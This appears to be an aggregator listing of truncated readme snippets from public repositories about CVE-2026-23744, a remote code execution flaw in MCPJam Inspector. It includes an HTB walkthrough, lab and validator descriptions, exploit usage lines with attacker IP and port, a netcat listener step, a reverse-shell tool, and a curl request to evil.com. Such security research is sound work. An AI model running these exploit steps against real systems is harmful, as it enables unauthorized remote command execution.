CVE-2026-23744-PoC

Description MCPJam inspector is the local-first development platform for MCP servers. Versions 1.4.2 and earlier are vulnerable to remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Sinc...

DevHub-HTB-Walkthrough

DevHub – HTB Walkthrough Medium Linux Machine: DevHub Difficulty: Medium OS: Linux Topics: CVE-2026-23744, Chisel Tunneling, Jupyter, Flask API, Root Privilege Escalation 📌 1. Reconnaissance nmap -sC -sV devhub.htb Result: Port 22 SSH Port 80 HTTP Port 6274 MCPJam Inspector 📌 2. Edit Hosts File...

CVE-2026-23744-PoC

CVE-2026-23744-PoC Poc sobre vulnerabilidad en MCP Server. automatizado para la parte del post con el cuerpo correcto. path vulnerable: /api/mcp/connect metodo por curl: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

CVE-2026-23744

CVE-2026-23744 Description MCPJam inspector is a local-first development platform for MCP servers. The versions =1.4.2 are vulnerable to remote code execution vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Fo...

CVE-2026-23744

CVE-2026-23744 CVE-2026-23744 RCE 在分析此漏洞时，我发现 MCPJam Inspector 将 /api/mcp/connect 端点绑定到 0.0.0.0，从而暴露在网络中。该端点接受一个包含 serverConfig 的 JSON 对象，其中包含 command 和 args 字段。 该应用旨在启动 MCP 服务器，但未能正确处理用户提供的值。因此，攻击者可以发送包含任意命令和参数的构造 HTTP 请求，这些请求随后会在服务器上执行，导致远程代码执行 RCE。 最有趣的是，漏洞利用载荷并非任意构造。通过使用 Burp Suite...

CVE-2026-23744-MCPJam-Exploit

CVE-2026-23744 MCPJam Inspector RCE Exploit ⚠️ AVISO LEGAL Esta herramienta es SOLO para pruebas de seguridad autorizadas y fines educativos. El uso no autorizado es ilegal. Los usuarios asumen toda responsabilidad por sus acciones. 📋 Resumen Este repositorio contiene una prueba de concepto del...

mcpjam-cve-2026-23744-validator

Validador de Seguridad Autorizado de MCPJam Inspector Un validador de prueba de concepto acotado para CVE-2026-23744 que afecta a implementaciones vulnerables de MCPJam Inspector. Este proyecto es una herramienta de validación independiente y no destructiva para el CVE-2026-23744 previamente...

CVE-2026-23744

CVE-2026-23744 MCPJam inspector Remote-Code-Execution: Proof Of Concept POC usage: python3 cve-2026-23744.py --target https:// --att-ip --att-p...

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 A critical RCE vulnerability in MCPJam Inspector 3.Start the exploit python3 CVE-2026-23744.py -u -i -p 4.For better usage I recomend to update the terminal to a fully funcional one , otherwise u wont be able to use commands like ctrl^c Example Only...

CVE-2026-23744-RCE

MCPJam Inspector v1.4.2 - RCE Exploit Vulnerability Description MCPJam Inspector contains an unauthenticated Remote Code Execution RCE vulnerability in the /api/mcp/connect endpoint. The vulnerability allows attackers to execute arbitrary commands by sending a malicious MCP server configuration...

mcpjam-to-root

⚠️ Disclaimer This repository is intended for authorized security research, penetration testing, and educational purposes only. Do not use the techniques described here against systems without explicit authorization. ⚡ MCPJam → Root From MCPJam Inspector RCE to root — CVE-2026-23744, JupyterLab...

CVE-2025-49596-PoC

CVE-2026-23744-PoC Automated PoC for CVE-2026-23744 RCE on MCPJam inspector prior to 1.4.2 on linux targets How to use use netcat to run listener on any port like 9002. nc -nvlp 9002 use the automation like this python3 CVE-2025-49596.py https://mcpjam-server.com...

MCPJam Inspector - Remote Code Execution

MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...

CVE-2026-23744

CVE-2026-23744: Unauthenticated Remote Code Execution in @mcpjam/inspector DISCLAIMER: This repository and the associated scripts are intended solely for authorized security assessments, penetration testing, security research, and educational analysis. Unauthorized testing of systems without...

mcpExec

mcpExec is a tool that takes advantage of the CVE-2026-23744 to gather a reverse shell using the URL of the vulnerable MCPJam Inspector installation. Installation git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip...

CVE-2026-23744-PoC

CVE-2026-23744-PoC Disclaimer: This proof-of-concept is provided exclusively for authorised security research, educational purposes, and controlled lab environments e.g., HTB, CTF, or internal penetration testing with explicit written consent. Unauthorised use against any system without permissio...

PoC-CVE-2026-23744

PoC-CVE-2026-23744 Remote Code Execution on MCPJam Inspector Reference https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6...

CVE-2026-23744-Remote-Code-Execution-POC

CVE-2026-23744 - MCPJam inspector Remote-Code-Execution: Proof Of Concept POC MCPJam inspector 3. Run the exploit python3 exploit.py...

CVE-2026-23744-Lab

CVE-2026-23744 – MCPJam Inspector Docker Lab This repo is a tiny Docker lab to compare a vulnerable vs patched build of MCPJam Inspector for CVE-2026-23744. It’s meant for learning and for building a public security portfolio: quick setup, clear evidence, and screenshots. ⚠️ Ethics / scope : Only...

exploit-CVE-2026-23744

exploit-CVE-2026-23744 MCPJam Inspector is a local-first development platform for MCP servers. In versions 1.4.2 and earlier, a RCE flaw lets attackers send crafted HTTP request that installs an MCP server and runs code remotely, because the service listens on 0.0.0.0 instead of 127.0.0.1 by...